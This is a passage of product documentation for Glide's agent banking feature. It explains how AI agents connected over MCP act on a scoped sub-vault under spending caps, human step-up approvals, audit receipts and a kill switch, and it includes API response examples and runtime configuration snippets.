print("Step-up needed:", result.step_up_url)
else:
print("Allocation enqueued:", result["allocation_id"])
```
## Response examples
**Success**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"allocation_id": "c1d2e3f4-a5b6-4789-8012-345678fedcba",
"from_protocol": "idle",
"to_protocol": "aave",
"amount_cents": 500000,
"enqueued_at": "2026-05-04T15:30:00Z",
"policy_version": 9
}
}
```
**Step-up required (amount over envelope threshold)**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32003,
"message": "yield move of 500000¢ requires step-up",
"data": {
"reason_id": "step_up_required",
"step_up_url": "https://app.glide.co/step-up/confirm?sigil=eyJhbGci..."
}
}
}
```
**V3 yield infrastructure not yet available**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32006,
"message": "yield.allocate depends on V3 DeFi yield infra (Bucket 1.8 / 4.4); not yet shipped",
"data": {
"reason_id": "yield_v3_blocked"
}
}
}
```
## Errors
| Code | `reason_id` | Meaning |
| -------- | -------------------- | ------------------------------------------------------------------------------------------------------- |
| `-32000` | `unauthenticated` | Bearer token missing or expired. |
| `-32001` | `unauthorized` | Grant does not include `treasury:yield-allocate`. |
| `-32002` | `policy_denied` | Envelope denied the allocation (velocity, protocol not in allowlist, daily cap). |
| `-32003` | `step_up_required` | Amount exceeds the envelope's `step_up_amount_cents`. `data.step_up_url` is the biometric approval URL. |
| `-32004` | `rate_limited` | Too many allocation requests. `data.retry_after_seconds` present. |
| `-32006` | `yield_v3_blocked` | V3 DeFi yield infrastructure is not yet deployed. The tool is gated on Bucket 1.8 / 4.4. |
| `-32602` | `same_protocol_noop` | `from_protocol` and `to_protocol` are identical — no-op. |
| `-32603` | `internal_error` | Transient server fault. Retry with the same idempotency key. |
## Step-up flow
`yield.allocate` uses the **same envelope step-up threshold as `payments.initiate`** — step-up is not always required, only when the allocation amount exceeds the envelope's `step_up_amount_cents`.
1. Call `yield.allocate` with your params. If the amount is below the threshold, the allocation is enqueued immediately and you receive a success response.
2. If the amount is at or above the threshold, you receive `-32003` with `data.step_up_url`.
3. Redirect the principal to `step_up_url`. On approval, Glide mints a one-time sigil for `reason: "yield_allocate"`.
4. Re-submit the original call with `step_up_sigil: ""` added to params. The server verifies the sigil is bound to `reason: "yield_allocate"` and has not been redeemed.
Note: unlike `vault.rotateSigner`, the allocation row is enqueued **after** the sigil is redeemed in the same call — there is no separate proposal step.
# Agent banking
Source: https://glide-9da73dea.mintlify.app/agents/index
Let Claude, ChatGPT, or a Vertex agent operate a scoped Glide sub-vault. You set the policy; the agent works inside it.
Agent banking lets you give an AI agent — Claude Desktop, ChatGPT Apps, Google Vertex, OpenClaw, Hermes — the ability to act on a small, scoped portion of your Glide account. The agent can see balances, simulate payments, draft transfers, and request your approval for things you've told it to ask about.
You stay in control. The agent operates inside a **policy envelope** you configure once: per-transaction caps, daily caps, counterparty allowlists, step-up thresholds. Anything that crosses a threshold pauses for your explicit approval.
## Why this exists
You've already got AI doing useful work in plenty of places. Drafting emails, summarizing documents, navigating spreadsheets. The frontier is letting AI act on real systems — but for money, "real" has a much higher bar.
Glide's answer is a clean separation:
1. **The agent** sees what you've scoped it to see and proposes actions.
2. **The policy envelope** is a contract you've signed with yourself: this is what's allowed, this is what isn't.
3. **You** approve anything that crosses the line.
The agent never has unbounded access. There's no "Claude has my bank password" failure mode.
## What you can do today
Connect Claude Desktop to your Glide account in under 5 minutes.
Pre-built skills for AP, treasury, trip budgets, and more.
Caps, allowlists, step-up thresholds, kill-switch.
Every tool call is signed and logged. Watch live or replay later.
## How it works under the hood
Glide implements the **Model Context Protocol (MCP)** — the open standard Anthropic shipped for tool-using AI agents. When you install a skill, Glide sets up:
* A **scoped sub-vault** — a piece of your account with the assets and limits the skill needs.
* An **OAuth grant** — the agent gets a short-lived token (max 60 minutes) that's bound to that sub-vault. The token can't reach the rest of your account.
* A **policy envelope** — the contract you signed. The MCP server enforces it on every tool call.
* A **receipt** — every tool call appends a tamper-evident row to your audit log.
The pieces are all open standards: OAuth 2.1 with RFC 7591 (dynamic client registration) + RFC 8707 (resource indicators), JWT grants, MCP for the wire protocol. The pattern works the same with Claude Desktop today and will work the same with any future MCP-compliant runtime.
## What this isn't
* **Not an autonomous bot.** The agent doesn't move money on its own. Anything past your envelope thresholds asks you first.
* **Not an open spigot.** The agent can't see beyond its sub-vault. It can't see other accounts, other skills, other tenants.
* **Not a custody change.** Your money still lives in segregated accounts at our banking partners. The agent moves the same money you'd move; it just does it through a constrained API.
## Next
* [Quickstart](/agents/quickstart) — connect Claude Desktop.
* [Skills catalog](/agents/skills/catalog) — what's available now.
* [Policy envelope](/agents/policy-envelope) — how the contract works.
# Kill switch
Source: https://glide-9da73dea.mintlify.app/agents/kill-switch
Halt every agent, every tool call, instantly. The reset button when something feels wrong.
If something feels off — an unfamiliar agent in your activity feed, a chain of step-ups you didn't trigger, anything — pull the kill switch. Every agent on your account stops in under one second. Every grant is invalidated. Every in-flight tool call gets rejected.
You can resume specific agents one at a time once you've reviewed the feed.
## How to trigger
| From | How |
| ----------------- | --------------------------------------------------------------------------------------- |
| Web dashboard | **Agents → Halt all agents** (red button, top-right) |
| Mobile app | **Agents tab → Halt all** (long-press) |
| Push notification | If we detect a pattern that looks like agent abuse, we send a push with a one-tap halt. |
| Voice | "Hey Glide, stop all agents." (when voice is enabled) |
The halt is acknowledged in \<1s. You'll see a banner across every agent's activity feed: "All agents halted at \ by \."
## What happens technically
When you halt:
1. Every active OAuth grant on your account is added to the revocation list.
2. The MCP server starts rejecting every tool call from your account immediately, regardless of what the agent's grant says.
3. In-flight transactions that haven't yet broadcasted are cancelled (e.g., a payment in the saga between proposed and broadcast is rolled back).
4. Already-broadcast transactions can't be unrolled (that's how blockchains and bank rails work) but no further calls land.
5. A `kill_switch` event is appended to your audit feed.
The agent's chat experience is graceful: Claude or ChatGPT gets a structured "all calls rejected by halt" error, displays it as "the user halted all agents," and stops.
## When to use it
* You see a tool call you don't recognize.
* The agent's behavior in chat suggests it's been jailbroken or hijacked.
* You're about to leave for a long flight and want to be sure no agent runs while you're offline.
* You're handing your phone to someone who shouldn't have access.
* You're upgrading to a new policy envelope and want zero in-flight calls during the transition.
* You just got a security alert from somewhere else and you're being cautious.
The kill switch is the reset button. There's no penalty for using it; resuming is one tap per agent.
## Resuming after a halt
After you halt, every agent is in a "paused" state. Each one shows up in your activity feed with a **Resume** button. Tap it to:
1. Issue a fresh OAuth grant (the old grant is permanently invalidated).
2. Re-validate the agent's policy envelope (in case you tightened anything during the halt).
3. Allow tool calls again.
Resuming is per-agent. You can keep some agents halted indefinitely while resuming others.
## Auto-halt: anomaly-triggered
Glide also halts agents automatically if its anomaly detector trips a high-severity heuristic:
* A burst of step-ups in a short window.
* A novel-counterparty pattern (the agent suddenly trying to pay 10 different new beneficiaries).
* A money-out velocity that's never been seen on this account before.
* An on-chain destination flagged by sanctions screening.
Auto-halts notify you via push. They behave the same as manual halts; you resume per-agent after reviewing.
## Auto-halt vs step-up
These are different mechanisms:
* **Step-up** is "pause this single tool call until you approve." The agent waits at one specific call.
* **Kill switch** (manual or auto) is "stop everything." Every agent, every tool call, every in-flight saga.
A step-up that you decline is just a "no" to one call — the agent continues with other calls. A kill switch is a global stop.
## What this isn't
* **Not a hardware kill switch.** This is a software-layer stop, executed by Glide's MCP server. If you're worried about Glide's servers themselves being compromised, the answer is "we have multi-region failover and our own incident response," but the kill switch isn't a defense against that scenario.
* **Not a way to recover already-broadcast on-chain transactions.** Once a USDC transfer is on-chain, blockchain finality applies. Kill switch stops future calls but doesn't unwind past ones.
## Next
* [Policy envelope](/agents/policy-envelope)
* [Step-up approvals](/agents/step-up)
* [Receipts](/agents/receipts)
# Policy envelope
Source: https://glide-9da73dea.mintlify.app/agents/policy-envelope
The contract between you and the agent. Per-transaction caps, daily caps, counterparty allowlists, step-up thresholds, time windows.
Every agent runs inside a policy envelope. The envelope is the contract: this is what's allowed, this is what isn't, this is what asks first. Glide enforces it on every tool call, regardless of what the agent's prompt says.
Think of it like spending controls on a corporate card — but with sharper teeth, applied at the API layer instead of the network layer.
## What the envelope controls
| Control | What it means | Example default |
| -------------------------- | ------------------------------------------------------------ | ---------------------------- |
| **Per-transaction max** | Largest single transaction the agent can propose | \$2,500 |
| **Daily cap** | Maximum total transaction value in 24 hours | \$10,000 |
| **Counterparty allowlist** | Who the agent can pay; everyone else is blocked | Your existing vendor list |
| **Step-up threshold** | Above this amount, you have to approve via Face ID / passkey | \$0 (every transaction asks) |
| **Time window** | Hours of day or days of week the agent can transact | Business hours, weekdays |
| **Velocity cap** | Max number of transactions in a rolling time window | 20 / hour |
| **Risk verdict gate** | Block if the anomaly detector flags | Flag → block automatically |
You set these at install time. Most skills have sensible defaults; you can override anything.
## How enforcement works
When the agent calls a Glide tool (e.g., `payments.initiate`), the request goes to Glide's MCP server. The server runs the request through:
1. **Grant validation** — OAuth token is signature-verified and not expired.
2. **Fresh-read tenant check** — we re-read your tenant from the database, so a stolen grant against a stale tenant fails.
3. **Policy evaluation** — the request is checked against every axis above. Any failure blocks the call.
4. **Step-up check** — if the request crosses a threshold, you get a step-up prompt; the agent waits for your approval.
5. **Anomaly check** — the risk model evaluates the request against your account's history. A `flag` verdict pauses for review; a `block` verdict rejects.
6. **Receipt write** — the call is logged with redacted input + output digests, the policy version that was in force, and the verdict.
If any step fails, the agent gets a structured error explaining why. No silent failures, no half-applied changes.
## Versioning the envelope
Every change to your policy envelope bumps the **`policy_version`** counter. Tool calls in flight when you make a change see a `PolicyStaleError` on their next attempt — they have to fetch the new envelope and retry. This guarantees your envelope changes take effect immediately, with no race window.
The version is also logged in every receipt. When you replay an old call later, you can see exactly which envelope was in force at the time.
## What you cannot configure
A few defaults are immutable:
* **Sanctions screening always runs.** You can't disable it. Every counterparty and every on-chain destination is screened on every call.
* **The append-only audit log.** You can't delete or modify receipts. Even Glide can't modify them outside a strict DSAR redaction flow.
* **Max grant TTL of 60 minutes.** Beyond that, the agent has to refresh its OAuth grant.
These exist because the alternative (a self-hostable backdoor) is exactly what trust-building infrastructure can't have.
## Per-skill envelope templates
Each skill ships with a recommended envelope template. The template is a starting point that's been tuned for the skill's typical use:
* **AP agent** — per-tx $2,500, daily $10,000, allowlist = QBO/Xero vendors, step-up every payment.
* **Treasury** — per-tx $50,000, daily $200,000, allocation min/max per strategy, step-up >\$25k.
* **Market research cap** — per-tx $100, monthly $1,000, no allowlist (any merchant), step-up >\$50.
You can override any template field at install. The defaults are the safest starting point; tighten or loosen them based on your actual use.
## Changing the envelope after install
Open **Agents → pick the agent → Policy** in your dashboard. Edit any axis. The change applies immediately on the next agent tool call (in-flight calls see `PolicyStaleError` and retry against the new envelope).
Big envelope loosenings (e.g., 10x bump on the daily cap) require step-up before they save. We don't want a stolen session changing your envelope as a precursor to a malicious tool call.
## Next
* [Step-up approvals](/agents/step-up)
* [Receipts](/agents/receipts)
* [Kill switch](/agents/kill-switch)
# Connect your first agent
Source: https://glide-9da73dea.mintlify.app/agents/quickstart
Install a Glide skill, connect it to Claude Desktop or ChatGPT, and watch the first tool call land in your audit feed.
The fastest path to seeing agent banking work end-to-end. Takes about 5 minutes.
Open the [skills catalog](https://glide.co/skills) and pick one. For your first run, the **Trip budget** skill is a low-stakes way to see the flow — it lets Claude track travel spend against a budget you set.
Other options:
* **AP agent** — let Claude draft vendor payments from QuickBooks invoices.
* **Treasury** — let Claude allocate idle USDC across yield strategies.
* **Payroll cosigner** — let Claude pre-validate payroll batches you'll approve.
See [Skills catalog](/agents/skills/catalog) for the full list.
Tap **Install** on the skill page. The install flow walks you through:
1. **Pick the entity (business)** or sub-vault (personal) the skill operates on.
2. **Configure the policy envelope** — per-transaction cap, daily cap, counterparty allowlist, step-up threshold. Defaults are sensible; you can override anything.
3. **OAuth handshake** — you approve Glide as the authorization server for this skill.
4. **Sub-vault creation** — Glide creates the scoped sub-vault the skill operates on.
5. **Grant issued** — the agent gets its first short-lived token.
The whole flow is on one screen and takes under a minute.
For **Claude Desktop**:
1. Open Claude Desktop → **Settings → Developer → Edit Config**.
2. Add the Glide MCP server:
```json theme={null}
{
"mcpServers": {
"glide": {
"url": "https://mcp.glide.co",
"auth": {
"clientId": "",
"clientSecret": ""
}
}
}
}
```
3. Restart Claude Desktop. You'll see the Glide tool in the tools menu.
For other runtimes (ChatGPT Apps, Google Vertex, OpenClaw, Hermes), see [Runtimes](/agents/runtimes).
Ask Claude something the skill can do. For Trip budget:
> "I'm in Lisbon for the week with a \$2,000 budget. How much have I spent?"
Claude calls Glide's MCP server to read the relevant balances and recent transactions, computes the answer, and replies. You see the call in your audit feed in real time.
From your Glide dashboard, open **Agents → Activity feed**. You'll see every tool call: which agent, which tool, the redacted input and output digests, the risk verdict, the policy version that was in force.
See [Receipts](/agents/receipts) for what each row means.
## What just happened
You authorized a scoped sub-vault, installed a policy envelope, and gave Claude an OAuth token bound to that sub-vault. Every Claude tool call from here on:
* Validates the OAuth grant (signature, expiry, audience).
* Re-reads your tenant from the database (so a stolen grant on a stale tenant fails).
* Evaluates the policy envelope (caps, allowlist, step-up).
* Logs a receipt to your tamper-evident audit log.
If anything crosses a policy threshold, you get prompted to approve via [step-up](/agents/step-up).
## Test that the controls work
Try asking the agent to do something outside the envelope. For Trip budget:
> "Send \$5,000 to a counterparty I haven't allowlisted."
Claude will see the policy block, tell you it can't do that, and explain why (per-transaction cap, counterparty not allowlisted, etc.). The block is enforced by Glide's MCP server, not by Claude's prompt — even a jailbroken agent can't bypass it.
## Next
* [Skills catalog](/agents/skills/catalog)
* [Policy envelope](/agents/policy-envelope)
* [Step-up approvals](/agents/step-up)
* [Runtimes](/agents/runtimes)
# Receipts and audit feed
Source: https://glide-9da73dea.mintlify.app/agents/receipts
Every agent tool call lands in an append-only audit log. Watch live, replay later, export for compliance.
Glide writes a **receipt** to your audit log after every successful agent tool call. The log is append-only at the database layer — rows can't be modified or deleted outside a strict DSAR redaction flow. Every receipt carries a cryptographic chain back to the OAuth grant that authorized the call.
## What a receipt looks like
Every receipt has:
* **`eventType`** — what kind of event (`tool_call`, `step_up_completed`, `policy_change`, `kill_switch`).
* **`timestamp`** — UTC instant.
* **`agentId`** — which agent acted.
* **`vaultId`** — which scoped sub-vault was touched.
* **`toolName`** — e.g., `payments.initiate`, `treasury.allocate`.
* **`endpoint`** — `read`, `write`, or `treasury` (the isolation tier).
* **`riskVerdict`** — `pass`, `flag`, or `block`.
* **`policyVersion`** — the envelope version that was in force.
* **`grantId`** — the OAuth grant the agent presented.
* **`latencyMs`** — how long the call took end-to-end.
* **`onChainTxHash`** — for on-chain settlements, the canonical transaction hash (sourced from the chain itself, not from any third-party receipt).
For privacy, the actual input and output of the call aren't stored verbatim. Instead we store **digests** — SHA-256 hashes that prove the data hasn't changed without storing the data itself.
## Live activity feed
From your dashboard, **Agents → Activity feed**. The feed streams new receipts via Server-Sent Events; you see new rows the moment they land. On mobile, the feed polls every few seconds.
Each row shows:
* The agent and tool that fired.
* The amount and counterparty (or `[REDACTED]` for redacted fields).
* A natural-language summary — the same LLM narrator that powers step-up prompts, condensed for the feed.
* The risk verdict, color-coded (green pass, amber flag, red block).
* A replay affordance for jumping into the full receipt detail.
## Replay a receipt
Tap any row to open the full detail view. You'll see:
* The complete receipt fields.
* The diff — before/after state for any tool that changes something.
* The full policy envelope that was in force at the time (versioned).
* The OAuth grant that was used (with redacted bearer; you can see the `jti` for tracing).
* The on-chain hash if the call settled on-chain, with a deep-link to a block explorer.
Replays are useful for:
* Compliance review. "Show me every payment over \$10k in March."
* Debugging. "Why did the agent stop after this call?"
* Trust verification. "Did the policy actually evaluate the way I expected?"
## Search and filter
The feed has filters for:
* **Agent** — pick a specific agent.
* **Tool** — pick a specific tool name.
* **Verdict** — pass / flag / block.
* **Time window** — last hour, day, week, month, custom range.
* **Amount range** — minimum and maximum.
* **Counterparty** — specific beneficiary.
Filters compose. Multi-filter queries return in milliseconds for typical accounts (hot retention is the last 90 days; older receipts read from warm storage with a small extra latency).
## Compliance export
For accountants, auditors, and tax filings, export your audit log:
* **JSON** — sync export, available immediately.
* **PDF** — async export with a queue; takes seconds for small ranges, minutes for year-long ranges. Cryptographically signed by Glide.
Open **Agents → Export** to start one. Default range is the trailing 30 days; you can pick any range up to one year per export. Larger windows run as monthly shards.
## Tamper-evidence
The audit log is append-only at the Postgres layer. A database trigger denies UPDATE, DELETE, and TRUNCATE on the receipts table. The only allowed mutation is a **DSAR redaction** — an admin-gated flow that nulls specific fields and sets a `redactedFieldsBitmap`. The replay UI renders redacted fields with a `[REDACTED]` watermark; the row's existence is preserved.
Even the on-chain transaction hash is verified server-side at write time — we re-fetch it from the chain itself, never trust a value claimed by the agent or a facilitator. If the hash doesn't match, the receipt isn't written and the call is rolled back.
## Privacy mode for receipts
If you've enabled the strictest push privacy mode, receipts in the activity feed render in a compact form by default — just "agent activity" with a tap-to-expand. Doesn't change what's stored; just changes what shows on screen by default.
## Retention
| Tier | Range | Where | Latency to read |
| ---------- | -------------- | ---------------------- | ----------------- |
| Hot | 0–7 days | Postgres | \<10ms |
| Warm | 7–90 days | TimescaleDB-compressed | \<100ms |
| Cold | 90 days–1 year | S3 Glacier-Instant | seconds |
| Regulatory | 1–7 years | S3 Glacier-Deep | hours, on-request |
Default retention is 1 year. Regulatory tier (1–7 years) is **off by default** — turn it on if your jurisdiction requires longer retention or your auditor asks.
## Next
* [Policy envelope](/agents/policy-envelope)
* [Step-up approvals](/agents/step-up)
* [Kill switch](/agents/kill-switch)
* [Data and privacy](/security/data-privacy)
# Supported runtimes
Source: https://glide-9da73dea.mintlify.app/agents/runtimes
Glide skills work in Claude Desktop, ChatGPT Apps, Google Vertex, OpenClaw, and Hermes. Same skill, same envelope, every runtime.
Glide implements the open Model Context Protocol (MCP) for agent banking. That means a single Glide skill works across every MCP-compliant runtime — you install once, you run anywhere.
## Currently supported
Anthropic's official desktop client. The simplest setup; native MCP support. See the [quickstart](/agents/quickstart) for the JSON config.
OpenAI's app surface. Glide is a published ChatGPT App; install from the Apps catalog and approve the Glide tool list.
Google Cloud's agent runtime. Add Glide as an external tool source in your Vertex agent configuration.
The open-source agent orchestrator. Configure Glide as an MCP server in your OpenClaw runtime config.
Hermes-based agent runtime. Glide's MCP endpoints work directly via Hermes's standard tool integration.
## Same skill, every runtime
When you install a Glide skill, the install is bound to your account, not to a specific runtime. The OAuth grant, the policy envelope, the audit feed — all live on Glide. The runtime is just the chat surface where you talk to the agent.
That means:
* Install the AP agent skill once.
* Use it in Claude Desktop on your laptop.
* Use it in ChatGPT Apps on your phone.
* Use it in Google Vertex from a teammate's instance.
* Every call lands in the same audit feed.
* Every step-up appears in the same dashboard.
If you replace one runtime with another, your skill keeps working. There's no re-onboarding cost when AI surfaces shift.
## Runtime-specific install instructions
### Claude Desktop
```json theme={null}
{
"mcpServers": {
"glide": {
"url": "https://mcp.glide.co",
"auth": {
"clientId": "",
"clientSecret": ""
}
}
}
}
```
Add this to your Claude Desktop config under **Settings → Developer → Edit Config**. Restart Claude Desktop.
### ChatGPT Apps
In ChatGPT, go to **Settings → Apps → Add app**. Search for "Glide." Approve the Glide tool list when prompted; the OAuth handoff completes inside the app sheet.
### Google Vertex
In your Vertex agent config, add Glide as an external tool source:
```yaml theme={null}
tools:
- source: mcp
url: https://mcp.glide.co
auth:
type: oauth_2.1
client_id:
client_secret:
authorization_server: https://auth.glide.co
```
### OpenClaw
In your OpenClaw runtime config:
```yaml theme={null}
mcp_servers:
- name: glide
transport:
type: http
url: https://mcp.glide.co
auth:
type: oauth
client_id:
client_secret:
```
### Hermes
Glide's MCP endpoint works as a standard Hermes tool source. Use the same URL and OAuth client credentials Glide showed you at skill install time.
## Runtime feature differences
Most runtimes support every Glide tool. A few feature-level differences worth knowing:
| Feature | Claude | ChatGPT | Vertex | OpenClaw | Hermes |
| --------------------------- | ------ | ------- | ------ | -------- | ------ |
| Inline step-up prompts | Yes | Yes | Yes | Yes | Yes |
| URL-mode step-up fallback | n/a | n/a | n/a | yes | yes |
| Voice-mode tool calls | n/a | Yes | n/a | Yes | n/a |
| Long-context skill chaining | Yes | Partial | Yes | Yes | Yes |
URL-mode step-up is used when the runtime can't render an interactive prompt — you tap a link to approve in the Glide dashboard or app instead.
## Adding a new runtime
If you're using an MCP-compliant runtime that's not on this list, Glide's MCP endpoints are public-spec. Configure your runtime to point at `https://mcp.glide.co` with OAuth 2.1 + PKCE; everything else follows the standard.
If you're building a runtime and want to make sure Glide skills work first-class on it, talk to us at [hi@glide.co](mailto:hi@glide.co).
## Next
* [Quickstart](/agents/quickstart)
* [Policy envelope](/agents/policy-envelope)
* [Skills catalog](/agents/skills/catalog)
# AP agent
Source: https://glide-9da73dea.mintlify.app/agents/skills/ap-agent
Let Claude or ChatGPT read invoices from QuickBooks Online or Xero and draft vendor payments inside a policy envelope you set.
The AP (accounts payable) agent skill connects Glide to your QuickBooks Online or Xero account, reads pending invoices, and lets a chat agent (Claude Desktop or ChatGPT Apps) draft payments against an allowlisted vendor set. Every payment crosses your envelope check; every payment requires your approval before broadcast.
## Who this is for
* Solo founders running their own AP through QBO or Xero who want a fast pre-screen of pending bills.
* Finance teams who want to give their CEO a "show me what's due, draft the payments, I'll approve" agent.
* Agencies and crypto-native companies paying global contractors via stablecoin.
## What gets installed
When you install the AP agent skill, Glide creates:
* A **scoped sub-vault** with the funding currency you pick (USDC by default, or any fiat balance).
* A **policy envelope** with these defaults:
* Per-transaction cap: \$2,500
* Daily cap: \$10,000
* Counterparty allowlist: your existing QBO/Xero vendor list
* Step-up: every payment above \$0 requires your approval
* A **partner OAuth binding** to QBO or Xero (you authorize Glide to read invoices on your behalf).
* An **MCP grant** the agent uses to call Glide's payment-proposal tool.
You can override every default at install. The defaults are tuned for solo founders; bump them up for higher-volume use.
## What the agent can do
* **`accounts.list`** — see your AP sub-vault balance.
* **`payments.simulate`** — dry-run a payment to check the fee, the FX rate, and the policy verdict.
* **`payments.initiate`** — propose a payment to a counterparty in the allowlist.
* **`beneficiary.write`** — add a vendor to the allowlist (this triggers a step-up since it changes your policy surface).
* **`audit.stream`** — watch the live audit feed of its own actions.
The agent can **read your QBO/Xero invoices** and **propose payments**. It cannot move money on its own — every payment proposal pauses for your approval until you tap approve in the dashboard or app.
## How a typical flow looks
> **You (in Claude Desktop):** What invoices are due this week?
>
> **Claude:** \[calls QBO read tool] You have 3 invoices due:
>
> * Acme Logistics — \$1,200 — due Wednesday
> * DataDog — \$89 — due Thursday
> * Mailchimp — \$499 — due Friday
>
> **You:** Draft payments for all three.
>
> **Claude:** \[calls payments.simulate for each, then payments.initiate for each]
>
> * Drafted: Acme Logistics \$1,200 to allowlisted vendor — awaiting your approval
> * Drafted: DataDog \$89 to allowlisted vendor — awaiting your approval
> * Drafted: Mailchimp \$499 to allowlisted vendor — awaiting your approval
>
> **You (in Glide app):** Approve all three with Face ID.
The three payments broadcast. Receipts land in your audit feed. The agent confirms back in chat.
## Compliance notes
* The OAuth binding to QBO/Xero is owned by you. Glide doesn't share or relay your QBO credentials anywhere; the binding is a standard partner OAuth grant.
* Every drafted payment runs through Glide's standard sanctions screening on the destination beneficiary. If a vendor is on a sanctions list, the payment is blocked at the policy layer; the agent sees the block, you see the audit row.
* The agent's MCP grant has a 60-minute max TTL. Long sessions auto-refresh through the OAuth refresh flow; if your session is idle for >60 minutes, the agent re-authenticates before the next call.
## What this isn't
* **Not autonomous.** The agent never broadcasts a payment without your explicit approval.
* **Not a replacement for your accountant.** This is a pre-screen tool that reduces clicks; it's not a final review.
* **Not unlimited scope.** The agent only sees the AP sub-vault and the QBO vendor list. It can't reach the rest of your Glide account or your QBO data outside vendors and invoices.
## Next
* [Quickstart](/agents/quickstart)
* [Policy envelope](/agents/policy-envelope)
* [Step-up approvals](/agents/step-up)
* [Skills catalog](/agents/skills/catalog)
# Skills catalog
Source: https://glide-9da73dea.mintlify.app/agents/skills/catalog
Pre-built agent skills you can install in one tap. Each runs against a scoped sub-vault under a policy you approve.
A skill is a packaged agent capability — a defined set of tools, a policy template, a consent flow, and a runtime compatibility list. Install it once; it works the same in Claude Desktop, ChatGPT Apps, Google Vertex, OpenClaw, and Hermes.
The full live catalog is at [glide.co/skills](https://glide.co/skills). The skills below are the first six Glide ships.
## AP agent
Let Claude or ChatGPT read your QuickBooks Online or Xero invoices and draft vendor payments against your AP envelope.
* **Reads:** your QBO/Xero invoices, your existing vendor list.
* **Writes:** payment proposals against an allowlisted vendor set.
* **Caps:** $2,500 per transaction, $10,000 per day (defaults; override at install).
* **Step-up:** every payment requires your explicit approval before broadcast.
[Read more →](/agents/skills/ap-agent)
## Treasury
Let Claude allocate idle USDC across yield strategies you've pre-approved (T-bills, money-market funds, etc.).
* **Reads:** your treasury balance, current yield strategy allocations.
* **Writes:** rebalance proposals between approved strategies.
* **Caps:** $50,000 per allocation move, $200,000 per day.
* **Step-up:** every reallocation crossing the daily threshold requires approval.
[Read more →](/agents/skills/treasury)
## Trip budget
Let Claude track travel spend against a budget you set. Lower-stakes; great as a first agent install.
* **Reads:** card transactions tagged to the trip, balance.
* **Writes:** none — this is a read-only skill.
* **Caps:** N/A (read-only).
* **Step-up:** N/A (read-only).
[Read more →](/agents/skills/trip-budget)
## Market research cap
Let an agent tap a small research-spend budget to pay for one-off services (single API calls, single research reports, single freelance gigs).
* **Reads:** your research-spend balance, recent purchases.
* **Writes:** payment proposals for individual line items.
* **Caps:** $100 per transaction, $1,000 per month.
* **Step-up:** transactions above \$50 require approval.
## Payroll cosigner
Let an agent pre-validate payroll batches you'll approve. The agent flags issues (missing tax info, off-cadence amounts) before you sign off.
* **Reads:** payroll runs, employee details.
* **Writes:** none — the agent flags but doesn't initiate.
* **Caps:** N/A (advisory).
* **Step-up:** N/A.
## AP agent (ChatGPT Apps)
Same as the Claude AP agent but bound to ChatGPT's tool runtime.
* Same scope, caps, and step-up as the Claude variant.
* Bound to ChatGPT's MCP integration via the Glide ChatGPT App listing.
## Future skills
The catalog grows. New skills go through a review checklist that catches obvious issues (does the consent copy actually mention what the skill can do? does the policy template match the consent? is the runtime compat correct?). Verified-tier skills additionally have a signed Trusted Skill Agreement on file.
## Install a skill
From [glide.co/skills](https://glide.co/skills), tap any skill and walk the install flow. See [Quickstart](/agents/quickstart) for the step-by-step.
## Next
* [Policy envelope](/agents/policy-envelope)
* [Receipts](/agents/receipts)
* [Runtimes](/agents/runtimes)
# Treasury
Source: https://glide-9da73dea.mintlify.app/agents/skills/treasury
Let Claude allocate idle USDC across yield strategies you've pre-approved. Every reallocation goes through your policy envelope.
The Treasury skill connects Claude to a portion of your USDC reserves and lets it propose allocation moves between yield strategies you've pre-approved. The agent doesn't pick the strategies — you do, at install time. The agent moves money between them when conditions you've described to it warrant it.
## Who this is for
* Crypto-native companies holding USDC treasury that want a smarter "is the money working" loop.
* Finance teams whose CFO wants to delegate "rebalance to keep us at the target yield mix" without delegating manual approval.
* Founders with \$250k+ idle USDC who want T-bill or money-market yield without manually rebalancing every week.
## How it works
When you install the Treasury skill, you pick:
1. **The funding sub-vault** — a slice of your USDC treasury the agent can move.
2. **The approved strategies** — a list of yield destinations Glide already supports (T-bill funds, money-market funds, on-chain yield products on the canonical issuer list).
3. **The allocation envelope** — min and max percentages for each strategy.
4. **The reallocation cadence** — max moves per day or per week.
The agent can propose moves between strategies. The envelope enforces that no single strategy can exceed its max, no strategy can drop below its min, and no more than the cadence cap of moves can happen.
## What the agent can do
* **`treasury.balance`** — see the current allocation across approved strategies.
* **`treasury.simulate`** — dry-run a reallocation to see expected APY change.
* **`treasury.allocate`** — propose a reallocation between approved strategies.
* **`audit.stream`** — watch its own activity live.
The agent cannot:
* Add new strategies (the strategy allowlist is yours; changing it requires you in the dashboard).
* Move funds out of treasury entirely (the funding sub-vault is locked to the strategies; outbound moves to your operating account require you).
* Touch any other balance.
## Typical flow
> **You:** What's our treasury yield this month?
>
> **Claude:** \[calls treasury.balance] Allocation:
>
> * T-bill fund — 60% — 5.2% APY
> * Money-market fund — 30% — 5.0% APY
> * On-chain USDC vault — 10% — 5.8% APY
>
> Blended: 5.18% APY
>
> **You:** Can we do better?
>
> **Claude:** The on-chain vault is at the upper bound (10% max per envelope). T-bill is yielding higher than the money-market right now. Proposing: shift 10% from money-market to T-bill, blended APY → 5.20%.
>
> \[calls treasury.simulate] Impact: +$2,083/month at $250k treasury. Step-up required (move >\$25k threshold).
>
> **You:** Approve.
The reallocation runs. The audit row lands. Next month you can ask Claude to do the same review.
## Compliance and risk
* The Treasury skill operates on **stablecoin balances only** — not on volatile crypto-assets and not on fiat operating cash.
* Every approved strategy is one Glide already supports for treasury. The skill doesn't introduce new risk surfaces; it gives you a faster way to optimize within Glide's existing yield product.
* Reallocation moves above your step-up threshold require your explicit approval. The default threshold is \$25,000 per move; tighten it at install if you want every move to ask.
## When this skill makes sense
* You hold >\$250k idle USDC.
* You've decided which strategies you're comfortable with.
* You want a faster review/rebalance loop than monthly manual rebalancing.
If you're unsure which strategies to allowlist, talk to your relationship manager — they can walk through what fits your risk profile.
## Next
* [Quickstart](/agents/quickstart)
* [Policy envelope](/agents/policy-envelope)
* [Skills catalog](/agents/skills/catalog)
# Trip budget
Source: https://glide-9da73dea.mintlify.app/agents/skills/trip-budget
Read-only travel-spend tracker. Great as a first-time agent install — Claude tracks against a budget you set, no money movement.
The Trip budget skill is the simplest way to see agent banking in action. It's read-only: Claude reads your card transactions tagged to a trip and answers questions about spend against a budget you set. Nothing moves; nothing requires approval. Perfect first install.
## What it does
You set up a trip in Glide:
* **Destination** (e.g., Lisbon)
* **Dates** (e.g., May 1–15)
